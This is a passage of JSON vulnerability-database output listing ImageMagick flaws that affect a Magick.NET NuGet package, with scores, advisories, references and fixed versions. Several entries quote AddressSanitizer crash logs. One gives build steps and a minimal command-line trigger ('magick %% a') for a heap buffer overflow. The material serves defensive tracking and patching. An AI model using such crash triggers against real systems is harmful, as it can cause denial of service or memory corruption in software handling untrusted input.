"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.1"}],"aliases":["CVE-2025-68618","GHSA-p27m-hp98-6637"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-2gw3-qfan-jygd"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24037?format=json","vulnerability_id":"VCID-2zje-ag2v-7kac","summary":"ImageMagick has heap buffer overflow in WriteXWDImage due to CARD32 arithmetic overflow in bytes_per_line calculation\nA 32-bit unsigned integer overflow in the XWD (X Windows) encoder can cause an undersized heap buffer allocation. When writing a extremely large image an out of bounds heap write can occur.\n\n```\n=================================================================\n==741961==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000083dc at pc 0x56553b4c4245 bp 0x7ffd9d20fef0 sp 0x7ffd9d20fee0\nWRITE of size 1 at 0x5020000083dc thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30937.json","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30937.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30937","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02792","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02773","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.0277","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02764","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02749","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04047","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03919","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03902","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03875","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03854","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03864","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03984","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03996","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04002","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30937"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30937","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30937"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpg4-j99f-8xcg","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:34:45Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpg4-j99f-8xcg"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30937","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30937"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445882","reference_id":"2445882","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445882"},{"reference_url":"https://github.com/advisories/GHSA-qpg4-j99f-8xcg","reference_id":"GHSA-qpg4-j99f-8xcg","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qpg4-j99f-8xcg"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-30937","GHSA-qpg4-j99f-8xcg"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-2zje-ag2v-7kac"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24680?format=json","vulnerability_id":"VCID-4a2j-v88n-byfk","summary":"ImageMagick: META reader memory leak in the APP1JPEG input path\nImageMagick contains a memory leak in the META reader when processing the `APP1JPEG` input path.","references":[{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9r56-3gjq-hqf7","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9r56-3gjq-hqf7"},{"reference_url":"https://github.com/advisories/GHSA-9r56-3gjq-hqf7","reference_id":"GHSA-9r56-3gjq-hqf7","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-9r56-3gjq-hqf7"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1077698?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.11.1","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.11.1"}],"aliases":["GHSA-9r56-3gjq-hqf7"],"risk_score":1.5,"exploitability":"0.5","weighted_severity":"3.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-4a2j-v88n-byfk"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24252?format=json","vulnerability_id":"VCID-54da-fzyt-4ud2","summary":"ImageMagick has stack write buffer overflow in MNG encoder\nA stack buffer overflow vulnerability exists in the MNG encoder. There is a bounds checks missing that could corrupting the stack with attacker-controlled data.\n\n```\n==2265506==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec4971310 at pc 0x55e671b8a072 bp 0x7ffec4970f70 sp 0x7ffec4970f68\nWRITE of size 1 at 0x7ffec4971310 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28690.json","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28690.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28690","reference_id":"","reference_type":"","scores":[{"value":"0.00013","scoring_system":"epss","scoring_elements":"0.02324","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00013","scoring_system":"epss","scoring_elements":"0.02321","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00013","scoring_system":"epss","scoring_elements":"0.02326","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00013","scoring_system":"epss","scoring_elements":"0.02346","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00013","scoring_system":"epss","scoring_elements":"0.02316","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02837","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02973","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02924","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02937","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02943","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02826","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02817","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02856","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02832","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28690"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28690","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28690"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7h7q-j33q-hvpf","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T15:58:08Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7h7q-j33q-hvpf"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28690","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28690"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445887","reference_id":"2445887","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445887"},{"reference_url":"https://github.com/advisories/GHSA-7h7q-j33q-hvpf","reference_id":"GHSA-7h7q-j33q-hvpf","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-7h7q-j33q-hvpf"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28690","GHSA-7h7q-j33q-hvpf"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-54da-fzyt-4ud2"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20782?format=json","vulnerability_id":"VCID-569d-6nue-5kbq","summary":"ImageMagick releases an invalid pointer in BilateralBlur when memory allocation fails\nThe BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-22770.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-22770.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22770","reference_id":"","reference_type":"","scores":[{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20822","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20855","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20898","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.21028","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20743","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20883","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20613","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20647","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20651","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.2077","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20785","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20793","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20803","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.2097","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22770"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/3e0330721020e0c5bb52e4b77c347527dd71658e","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:05:17Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/3e0330721020e0c5bb52e4b77c347527dd71658e"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-39h3-g67r-7g3c","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:05:17Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-39h3-g67r-7g3c"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22770","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22770"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126074","reference_id":"1126074","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126074"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431037","reference_id":"2431037","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431037"},{"reference_url":"https://github.com/advisories/GHSA-39h3-g67r-7g3c","reference_id":"GHSA-39h3-g67r-7g3c","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-39h3-g67r-7g3c"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67434?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.2"}],"aliases":["CVE-2026-22770","GHSA-39h3-g67r-7g3c"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-569d-6nue-5kbq"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/28920?format=json","vulnerability_id":"VCID-5s8n-dfjf-ruey","summary":"ImageMagick has a Heap Buffer Overflow in InterpretImageFilename\n# Heap Buffer Overflow in InterpretImageFilename\n\n## Summary\nA heap buffer overflow was identified in the `InterpretImageFilename` function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (`%%`).\n\n## Environment\n- **OS**: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x86_64 GNU/Linux (GNU libc) 2.41)\n- **Architecture**: x86_64\n- **Compiler**: gcc (GCC) 15.1.1 20250425\n\n## Reproduction\n\n### Build Instructions\n```bash\n# Clone the repository\ngit clone https://github.com/ImageMagick/ImageMagick.git\ncd ImageMagick\ngit reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12\n\n# Build with AddressSanitizer\nexport CFLAGS=\"-fsanitize=address -g -O1\"\nexport CXXFLAGS=\"-fsanitize=address -g -O1\"\nexport LDFLAGS=\"-fsanitizer=address\"\n./configure\nmake\n\n# Set library path and trigger the crash\nexport LD_LIBRARY_PATH=\"$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LD_LIBRARY_PATH\"\n./utilities/.libs/magick %% a\n```\n\n### Minimum Trigger\n```bash\n./utilities/.libs/magick %% [any_output_filename]\n```\n\n## Crash Analysis\n\n### AddressSanitizer Output\n```\n$ ./utilities/.libs/magick %% a\n=================================================================\n==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8\nREAD of size 1 at 0x7037f99e3ad3 thread T0\n    #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:746\n    #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674\n    #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040\n    #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959\n    #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473\n    #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653\n    #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392\n    #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177\n    #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162\n    #9 0x5ef7a3546872 in main utilities/magick.c:193\n    #10 0x7417ff53f6b4  (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35)\n    #11 0x7417ff53f768 in __libc_start_main (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35)\n    #12 0x5ef7a3546204 in _start (/home/kforfk/workspace/fuzz_analysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2)\n\n0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3)\nallocated by thread T0 here:\n    #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67\n    #1 0x7418013e86bc in AcquireMagickMemory 